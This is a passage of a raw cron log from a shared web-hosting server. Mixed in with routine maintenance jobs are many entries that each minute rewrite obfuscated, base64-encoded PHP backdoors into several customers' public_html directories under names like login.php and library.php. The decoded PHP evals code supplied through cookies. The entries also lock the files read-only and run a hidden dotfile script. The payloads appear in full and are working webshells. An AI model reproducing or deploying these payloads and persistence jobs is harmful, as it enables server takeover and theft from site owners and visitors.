kX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:04:01 medusa CROND[12525]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 08:04:01 medusa CROND[12656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:04:01 medusa CROND[12657]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:04:01 medusa CROND[12658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:04:01 medusa CROND[12659]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:04:01 medusa CROND[12660]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:04:01 medusa CROND[12663]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:04:01 medusa CROND[12664]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:04:01 medusa CROND[12667]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:04:01 medusa CROND[12669]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:04:01 medusa CROND[12670]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:04:01 medusa CROND[12662]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:04:01 medusa CROND[12672]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:05:01 medusa CROND[28949]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 08:05:01 medusa CROND[28950]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:05:01 medusa CROND[28952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:05:01 medusa CROND[28962]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:05:01 medusa CROND[28964]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:05:01 medusa CROND[28961]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:05:01 medusa CROND[28966]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:05:01 medusa CROND[28967]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 08:05:01 medusa CROND[28968]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 08:05:01 medusa CROND[28970]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 08:05:01 medusa CROND[28969]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 08:05:01 medusa CROND[28971]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 08:05:01 medusa CROND[28972]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 08:05:01 medusa CROND[28979]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:05:01 medusa CROND[28981]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 08:05:01 medusa CROND[28985]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:05:01 medusa CROND[28990]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:05:01 medusa CROND[28993]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:05:01 medusa CROND[28989]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 08:05:01 medusa CROND[28978]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 08:05:01 medusa CROND[28991]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
